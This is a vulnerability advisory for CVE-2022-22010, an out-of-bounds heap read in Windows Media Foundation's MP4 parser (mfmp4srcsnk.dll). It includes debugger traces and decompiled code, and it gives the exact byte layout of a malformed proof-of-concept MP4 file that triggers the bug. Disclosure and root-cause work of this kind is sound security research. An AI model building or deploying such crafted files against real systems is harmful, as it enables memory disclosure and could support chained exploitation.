CVE-2022-22010

9 minute read

Microsoft Media Foundation CQTTrack::CreateChildAtom Information Disclosure Vulnerability (mfmp4srcsnk.dll)

CVE Number

CVE-2022-22010

Description

Summary

An information disclosure vulnerability exists in mfmp4srcsnk.dll, which is part of the Microsoft Media Foundation framework. An Out-of-Bounds (OOB) read is triggered while parsing an invalid moov atom in a malformed MP4 file.

Proof-of-Concept

The vulnerability can be triggered by right-clicking on the file poc.mp4 in Windows Explorer with Page Heap enabled on explorer.exe.

Tested Versions

Software Version
Microsoft Media Foundation - MPEG-4 Source and Sink DLL 10.0.19041.1202
Windows Media Player 12.0.19041.1266

Product URL

https://docs.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk

Technical Details

The following analysis was done using Product Version 10.0.19041.1202 of mfmp4srcsnk.dll.

Crash details

The crash occurs at CQTTrack::CreateChildAtom+0x1d9 in mfmp4srcsnk.dll:

(2d40.3bf0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9:
00007ff9`9865aba9 8b4808          mov     ecx,dword ptr [rax+8] ds:00000000`4a107006=????????
0:005> k
 # Child-SP          RetAddr               Call Site
00 00000000`0964dde0 00007ff9`98640330     mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9
01 00000000`0964def0 00007ff9`98640150     mfmp4srcsnk!CQTAtom::ScanChildrenInBuffer+0xa0
02 00000000`0964dfa0 00007ff9`9865663b     mfmp4srcsnk!CQTAtom::ScanChildren+0x200
03 00000000`0964e000 00007ff9`9864659d     mfmp4srcsnk!CQTAtom::ParseAtom+0x13b
04 00000000`0964e040 00007ff9`9865c8c3     mfmp4srcsnk!CQTTrack::ParseAtom+0x6d
05 00000000`0964e080 00007ff9`9865b667     mfmp4srcsnk!CQTAtom::CreateTypedAtom+0x153
06 00000000`0964e120 00007ff9`98640330     mfmp4srcsnk!CQTMovie::CreateChildAtom+0x187
07 00000000`0964e260 00007ff9`98640150     mfmp4srcsnk!CQTAtom::ScanChildrenInBuffer+0xa0
08 00000000`0964e310 00007ff9`9865d9e2     mfmp4srcsnk!CQTAtom::ScanChildren+0x200
09 00000000`0964e370 00007ff9`98660d78     mfmp4srcsnk!CQTMovie::CreateQTMovie+0xf2
0a 00000000`0964e470 00007ff9`9865f6f9     mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1e0
0b 00000000`0964e580 00007ff9`986612b8     mfmp4srcsnk!MFCreateQTMovie+0x5d
0c 00000000`0964e5f0 00007ff9`98662ecf     mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x190
0d 00000000`0964e660 00007ff9`9866ab9d     mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0xff
0e 00000000`0964e710 00007ff9`d1513327     mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x13d
0f 00000000`0964e790 00007ff9`d1513ba7     windows_storage!InitializeFileHandlerWithStream+0x177
10 00000000`0964e860 00007ff9`d1512da5     windows_storage!CFileSysItemString::HandlerCreateInstance+0x2e3
11 00000000`0964e950 00007ff9`d15325bc     windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0xad
12 00000000`0964ea00 00007ff9`d15b2565     windows_storage!CFileSysItemString::LoadHandler+0x1a4
13 00000000`0964eb50 00007ff9`d1547f29     windows_storage!CFSFolder::LoadHandler+0xd5
14 00000000`0964eeb0 00007ff9`d15ba0c7     windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x165
15 00000000`0964ef80 00007ff9`d15b9fc2     windows_storage!CFSPropertyStoreFactory::_GetDelayedPropertyStore+0xf7
16 00000000`0964f000 00007ff9`ce0c94c5     windows_storage!CFSPropertyStoreFactory::GetDelayedPropertyStore+0x22
17 00000000`0964f040 00007ff9`ce0ad5b5     PROPSYS!CDelayedPropertyStore::v_GetDelegate+0xa5
18 00000000`0964f0d0 00007ff9`ce0ad6e2     PROPSYS!CMultiplexPropertyStore::GetValue+0xc5
19 00000000`0964f170 00007ff9`ce0ad5dd     PROPSYS!PSGetValueAndPath+0x62
1a 00000000`0964f1f0 00007ff9`ce0aedb6     PROPSYS!CMultiplexPropertyStore::GetValue+0xed
1b 00000000`0964f290 00007ff9`ce0aebb5     PROPSYS!CPropertyProvider::_GetValue+0xa6
1c 00000000`0964f360 00007ff9`d15b3e88     PROPSYS!CPropertyProvider::GetValue+0xb5
1d 00000000`0964f3b0 00007ff9`d154cc28     windows_storage!ItemStore_ExtractProperty+0x94
1e 00000000`0964f470 00007ff9`d14f4ff5     windows_storage!ItemStore_GetCachedProperty+0x1b0
1f 00000000`0964f590 00007ff9`d1929cef     windows_storage!CCachedShellItem::GetValue+0xf5
20 00000000`0964f660 00007ff9`d15c6e41     windows_storage!CPropertyTask::InternalResumeRT+0x2bf
21 00000000`0964f8a0 00007ff9`d155c8ec     windows_storage!CRunnableTask::Run+0xc1
22 00000000`0964f8f0 00007ff9`d155c531     windows_storage!CShellTask::TT_Run+0x3c
23 00000000`0964f920 00007ff9`d15c55e4     windows_storage!CShellTaskThread::ThreadProc+0xdd
24 00000000`0964f9d0 00007ff9`d4963826     windows_storage!CShellTaskThread::s_ThreadProc+0x44
25 00000000`0964fa30 00007ff9`d5cdfbc3     shcore!ExecuteWorkItemThreadProc+0x16
26 00000000`0964fa60 00007ff9`d5cc315a     ntdll!RtlpTpWorkCallback+0x173
27 00000000`0964fb40 00007ff9`d5a97034     ntdll!TppWorkerThread+0x68a
28 00000000`0964fe40 00007ff9`d5cc2651     KERNEL32!BaseThreadInitThunk+0x14
29 00000000`0964fe70 00000000`00000000     ntdll!RtlUserThreadStart+0x21
0:005> !ext.heap -p -a @rax+8
    address 000000004a107006 found in
    _DPH_HEAP_ROOT @ 49b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                494feaf8:         4a106f80               80 -         4a106000             2000
    00007ff9d5d6867b ntdll!RtlDebugAllocateHeap+0x000000000000003b
    00007ff9d5c9d255 ntdll!RtlpAllocateHeap+0x00000000000000f5
    00007ff9d5c9b44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d
    00007ff9d4ce9d40 msvcrt!malloc+0x0000000000000070
    00007ff9cc16b247 MFPlat!operator new+0x0000000000000023
    00007ff9cc1529d6 MFPlat!MFCreateMemoryBuffer+0x0000000000000056
    00007ff998661007 mfmp4srcsnk!CQTMovie::CopyBuffer+0x00000000000000c7
    00007ff998660d3e mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x00000000000001a6
    00007ff99865f6f9 mfmp4srcsnk!MFCreateQTMovie+0x000000000000005d
    00007ff9986612b8 mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x0000000000000190
    00007ff998662ecf mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0x00000000000000ff
    00007ff99866ab9d mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x000000000000013d
    00007ff9d1513327 windows_storage!InitializeFileHandlerWithStream+0x0000000000000177
    00007ff9d1513ba7 windows_storage!CFileSysItemString::HandlerCreateInstance+0x00000000000002e3
    00007ff9d1512da5 windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0x00000000000000ad
    00007ff9d15325bc windows_storage!CFileSysItemString::LoadHandler+0x00000000000001a4
    00007ff9d15b2565 windows_storage!CFSFolder::LoadHandler+0x00000000000000d5
    00007ff9d1547f29 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x0000000000000165
    00007ff9d15ba0c7 windows_storage!CFSPropertyStoreFactory::_GetDelayedPropertyStore+0x00000000000000f7
    00007ff9d15b9fc2 windows_storage!CFSPropertyStoreFactory::GetDelayedPropertyStore+0x0000000000000022
    00007ff9ce0c94c5 PROPSYS!CDelayedPropertyStore::v_GetDelegate+0x00000000000000a5
    00007ff9ce0ad5b5 PROPSYS!CMultiplexPropertyStore::GetValue+0x00000000000000c5
    00007ff9ce0ad6e2 PROPSYS!PSGetValueAndPath+0x0000000000000062
    00007ff9ce0ad5dd PROPSYS!CMultiplexPropertyStore::GetValue+0x00000000000000ed
    00007ff9ce0aedb6 PROPSYS!CPropertyProvider::_GetValue+0x00000000000000a6
    00007ff9ce0aebb5 PROPSYS!CPropertyProvider::GetValue+0x00000000000000b5
    00007ff9d15b3e88 windows_storage!ItemStore_ExtractProperty+0x0000000000000094
    00007ff9d154cc28 windows_storage!ItemStore_GetCachedProperty+0x00000000000001b0
    00007ff9d14f4ff5 windows_storage!CCachedShellItem::GetValue+0x00000000000000f5
    00007ff9d1929cef windows_storage!CPropertyTask::InternalResumeRT+0x00000000000002bf
    00007ff9d15c6e41 windows_storage!CRunnableTask::Run+0x00000000000000c1
    00007ff9d155c8ec windows_storage!CShellTask::TT_Run+0x000000000000003c

As seen above, @rax+8 points to an invalid region on the heap.

Structure of poc.mp4

The first 25 bytes of poc.mp4 is as shown below:

00 00 00 1C | 6D 6F 6F 76 | 00 00 00 00 | 74 72 61 6B    ....moov....trak
00 00 00 00 | 74 6B 68 64 | 00                           ....tkhd.

With reference to this website, poc.mp4 has the following atom structure:

  • moov atom:
    • Size (4 bytes) - A 32-bit size of the atom, set to 0x1c
    • Atom Type (4 bytes) - Fourcc code of the atom, set to moov
  • trak atom:
    • Size (4 bytes) - A 32-bit size of the atom, set to 0x0
    • Atom Type (4 bytes) - Fourcc code of the atom, set to trak
  • tkhd atom:
    • Size (4 bytes) - A 32-bit size of the atom, set to 0x0
    • Atom Type (4 bytes) - Fourcc code of the atom, set to tkhd
    • Version (1 byte) - Version of this tkhd atom usually set to 0 or 1, set to 0x0

The remaining 231 bytes containing 0x30 are appended to poc.mp4 to fulfil the minimum valid MP4 size of 256 bytes.

Root Cause Analysis

At CMFMP4PropertyHandler::LocateHeader+0x82 (mfmp4srcsnk.dll+0000000000037ECA), tempBuffer is initialized to contain an IMFMediaBuffer interface.

tempBuffer = 0i64;
*cbOffset = 0i64;
*ppBuffer = 0i64;
atomOffset = 0i64;
hr = MFCreateMemoryBuffer(0x100u, &tempBuffer);

At CMFMP4PropertyHandler::LocateHeader+0xd8 (mfmp4srcsnk.dll+0000000000037F20), CMFMP4PropertyHandler::ReadData is called to read the raw bytes from poc.mp4 into tempBuffer. Within CMFMP4PropertyHandler::ReadData, IMFMediaBuffer::SetCurrentLength is called with cbCurrentLength as its parameter, setting the buffer length to 0x100.

cbCurrentLength = 0x100;
if ( atomOffset )    // skipped as atomOffset = 0
  cbCurrentLength = 16;
hr = CMFMP4PropertyHandler::ReadData(this, tempBuffer, atomOffset, cbCurrentLength);
0:000> g
Breakpoint 1 hit
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0xd8:
00007ff9`54357f20 e8c39f0000      call    mfmp4srcsnk!CMFMP4PropertyHandler::ReadData (00007ff9`54361ee8)
0:000> dps @rdx
00000201`04cf4f60  00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04cf4f68  00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f70  00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f78  00000000`00000000
00000201`04cf4f80  00000000`00000000
00000201`04cf4f88  00000000`00000000
00000201`04cf4f90  c0c0c0c0`00000001
00000201`04cf4f98  00000201`08d72fd0
00000201`04cf4fa0  00000000`ffffffff
00000201`04cf4fa8  00000000`00000000
00000201`04cf4fb0  00000000`00000000
00000201`04cf4fb8  00000000`020007d0
00000201`04cf4fc0  00000000`00000000
00000201`04cf4fc8  00000000`00000001
00000201`04cf4fd0  c0c0c0c0`00000100    <-- 0x100, length of buffer
00000201`04cf4fd8  00000201`04cf2f00    <-- 00000201`04cf2f00, address of buffer containing file bytes
0:000> p
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0xdd:
00007ff9`54357f25 8bd8            mov     ebx,eax
0:000> db 00000201`04cf2f00
00000201`04cf2f00  00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b  ....moov....trak
00000201`04cf2f10  00 00 00 00 74 6b 68 64-00 30 30 30 30 30 30 30  ....tkhd.0000000
00000201`04cf2f20  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f30  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f40  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f50  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f60  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f70  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f80  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2f90  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2fa0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2fb0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2fc0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2fd0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2fe0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
00000201`04cf2ff0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000

At CMFMP4PropertyHandler::LocateHeader+0x1c0 (mfmp4srcsnk.dll+0000000000038008), CQTMovie::GetHeaderAtomLocation is called, which assigns the size of the moov atom to dwLength. If the returned HRESULT is successful, v15 will then contain the atom size, which is 0x1c in this case.

hr = CQTMovie::GetHeaderAtomLocation(v11, tempBuffer, &v33, cbOffset, &dwLength, &v32);
if ( hr >= 0 )
  v15 = dwLength;    // v15 = dwLength = 0x1c

At CMFMP4PropertyHandler::LocateHeader+0x290 (mfmp4srcsnk+00000000000380D8), MFCreateMediaBufferWrapper is called, which initializes a new IMFMediaBuffer named ppBuffer that wraps tempBuffer. As length is set to 0x1c, the size of ppBuffer is also 0x1c.

length = cbCurrentLength - offset;
if ( length > v15 )
  length = v15;    

// offset = 0, length = 0x1c
hr = MFCreateMediaBufferWrapper(tempBuffer, offset, length, &ppBuffer);

However, as seen below, ppBuffer wraps tempBuffer, which has a much larger size of 0x100:

0:000> g
Breakpoint 2 hit
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x290:
00007ff9`543580d8 48ff15f96f1c00  call    qword ptr [mfmp4srcsnk!_imp_MFCreateMediaBufferWrapper (00007ff9`5451f0d8)] ds:00007ff9`5451f0d8={MFPlat!MFCreateMediaBufferWrapper (00007ff9`cc164440)}
0:000> r rcx, rdx, r8, r9
rcx=0000020104cf4f60 rdx=0000000000000000 r8=000000000000001c r9=000000d34bdee458
0:000> dq 000000d34bdee458
000000d3`4bdee458 00000201`04d0df90
0:000> p
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x297:
00007ff9`543580df 0f1f440000      nop     dword ptr [rax+rax]
0:000> dps 00000201`04d0df90
00000201`04d0df90  00007ff9`cc28c0d8 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0df98  00007ff9`cc28c0a8 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfa0  00007ff9`cc28c080 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfa8  00007ff9`cc28c038 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfb0  00000000`00000000
00000201`04d0dfb8  00000000`00000000
00000201`04d0dfc0  00000000`00000000
00000201`04d0dfc8  00007ff9`cc28c020 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfd0  00000000`00000000
00000201`04d0dfd8  00007ff9`cc2d3c88 MFPlat!CPlatformPools::g_PlatformPools+0x138
00000201`04d0dfe0  00000000`00000001
00000201`04d0dfe8  0000001c`0000001c    <-- Size of ppBuffer is 0x1c
00000201`04d0dff0  00000000`00000000
00000201`04d0dff8  00000201`04cf4f60
00000201`04d0e000  ????????`????????
00000201`04d0e008  ????????`????????
0:000> dps 00000201`04cf4f60
00000201`04cf4f60  00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04cf4f68  00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f70  00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f78  00000000`00000000
00000201`04cf4f80  00000000`00000000
00000201`04cf4f88  00000000`00000000
00000201`04cf4f90  c0c0c0c0`00000002
00000201`04cf4f98  00000201`08d72fd0
00000201`04cf4fa0  00000000`ffffffff
00000201`04cf4fa8  00000000`00000000
00000201`04cf4fb0  00000000`00000000
00000201`04cf4fb8  00000000`020007d0
00000201`04cf4fc0  00000000`00000000
00000201`04cf4fc8  00000100`00000001
00000201`04cf4fd0  c0c0c0c0`00000100    <-- Wraps a buffer of size 0x100
00000201`04cf4fd8  00000201`04cf2f00

Later on, at CQTMovie::CreateMovieFromBuffer+0x1a1 (mfmp4srcsnk+0000000000040D39), CQTMovie::CopyBuffer copies the wrapped buffer from ppBuffer into ppBuffer_copy.

hr = CQTMovie::CopyBuffer(ppBuffer, v11, &ppBuffer_copy);

In CQTMovie::CopyBuffer, IMFMediaBuffer::GetCurrentLength is called to retrieve the size of ppBuffer, which is 0x1c. Therefore, memcpy_0 only copies 0x1c bytes of data from ppBuffer into ppbuffer_copy.

// CQTMovie::CopyBuffer+0x9d (mfmp4srcsnk.dll+0000000000040FDD)
hr = ppBuffer->lpVtbl->GetCurrentLength(ppBuffer, &pcbCurrentLength);    // Sets pcbCurrentLength to 0x1c

// CQTMovie::CopyBuffer+0xb8 (mfmp4srcsnk.dll+0000000000040FF8)
newLength = pcbCurrentLength - offset;    // newLength = 0x1c - 0 = 0x1c
hr = MFCreateMemoryBuffer(newLength, &tempBuffer);

// CQTMovie::CopyBuffer+0xeb (mfmp4srcsnk.dll+000000000004102B)
hr = ppBuffer->lpVtbl->Lock(ppBuffer, &ppBufferData_ptr, 0i64, &pcbCurrentLength);

// CQTMovie::CopyBuffer+0x112 (mfmp4srcsnk.dll+0000000000041052)
hr = tempBuffer->lpVtbl->Lock(tempBuffer, &tempBufferData_ptr, pcbMaxLength, v28);

// CQTMovie::CopyBuffer+0x130 (mfmp4srcsnk.dll+0000000000041070)
memcpy_0(tempBufferData_ptr, (ppBufferData_ptr + offset), newLength);    // offset = 0, newLength = 0x1c
hr = tempBuffer->lpVtbl->SetCurrentLength(tempBuffer, newLength);

// CQTMovie::CopyBuffer+0x18e (mfmp4srcsnk.dll+00000000000410CE)
*ppBuffer_copy = tempBuffer;

Below shows that only 0x1c raw file bytes were copied into the buffer of ppBuffer_copy:

0:000> g
Breakpoint 3 hit
mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1a1:
00007ff9`54360d39 e802020000      call    mfmp4srcsnk!CQTMovie::CopyBuffer (00007ff9`54360f40)
0:000> r rcx, rdx, r8
rcx=0000020104d0df90 rdx=0000000000000000 r8=000000d34bdee2c0
0:000> p
mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1a6:
00007ff9`54360d3e 8bf8            mov     edi,eax
0:000> r rcx, rdx, r8
rcx=146509f916d00000 rdx=0000000000000000 r8=000000000000001c
0:000> dq 000000d34bdee2c0
000000d3`4bdee2c0  00000201`04d11f60
0:000> dps 00000201`04d11f60
00000201`04d11f60  00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04d11f68  00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04d11f70  00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04d11f78  00000000`00000000
00000201`04d11f80  00000000`00000000
00000201`04d11f88  00000000`00000000
00000201`04d11f90  c0c0c0c0`00000001
00000201`04d11f98  00000201`08d74fd0
00000201`04d11fa0  00000000`ffffffff
00000201`04d11fa8  00000000`00000000
00000201`04d11fb0  00000000`00000000
00000201`04d11fb8  00000000`020007d0
00000201`04d11fc0  00000000`00000000
00000201`04d11fc8  0000001c`00000001
00000201`04d11fd0  c0c0c0c0`0000001c    <-- Buffer size of 0x1c
00000201`04d11fd8  00000201`04d0ffe0    <-- Address of buffer, only holds 0x1c raw file bytes
0:000> db 00000201`04d0ffe0
00000201`04d0ffe0  00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b  ....moov....trak
00000201`04d0fff0  00 00 00 00 74 6b 68 64-00 30 30 30 d0 d0 d0 d0  ....tkhd.000....
00000201`04d10000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Data in ppBuffer_copy is then used for further parsing of atoms in poc.mp4.

Eventually, at CQTTrack::CreateChildAtom+0x1b8 (mfmp4srcsnk+000000000003AB88), when attempting to parse the tkhd atom, CQTFullAtom::GetAtomContentsDataPtr is called, which returns an invalid pointer to the end of the 0x1c long buffer.

version = this->tkhdAtom->vtbl->CQTFullAtom::GetVersion(this->tkhdAtom);
vtbl = this->tkhdAtom->vtbl;
if ( !version ) {
  // Crash occurs here as version = 0x0
  atomDataPtr = *(vtbl->CQTFullAtom::GetAtomContentsDataPtr(this->tkhdAtom) + 8);
  trackID = _byteswap_ulong(atomDataPtr);
  this->tkhdAtom->trakID = trackID;
}

if ( version == 1 ) {
  // Crash would occur here if version = 0x1
  atomDataPtr = *(this->tkhdAtom->vtbl->CQTFullAtom::GetAtomContentsDataPtr(this->tkhdAtom) + 4);
}

This then causes the OOB read past the raw file bytes in the buffer, as seen below:

0:000> g
(3244.1374): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9:
00007ff9`5435aba9 8b4808          mov     ecx,dword ptr [rax+8] ds:00000201`04d10004=????????
0:000> db @rax
00000201`04d0fffc  d0 d0 d0 d0 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ....????????????
0:000> db @rax-1c
00000201`04d0ffe0  00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b  ....moov....trak
00000201`04d0fff0  00 00 00 00 74 6b 68 64-00 30 30 30 d0 d0 d0 d0  ....tkhd.000....

Additionally, a check exists at CQTFullAtom::ValidateAtom+0x23b (mfmp4srcsnk+000000000002095B), which prevents the moov atom size field from being smaller than the position of the tkhd atom version field . Thus, 0x1c is the smallest possible size for poc.mp4.

hr = this->vtbl->CQTAtom::GetAtomLength(this, &atomSize);    // atomSize = 0xc  

// Redacted code

offset = this->vtbl->CQTFullAtom::GetOffsetOfChildrenOrData(this);    // offset = 0xc
if ( atomSize < offset ) {
  // Code to terminate parsing...
}

Conclusion

If an attacker is able to properly massage the heap, this vulnerability could lead to information disclosure of data in memory. When chained with other vulnerabilities, it could result in potential heap corruption or code execution.

Categories:

Updated: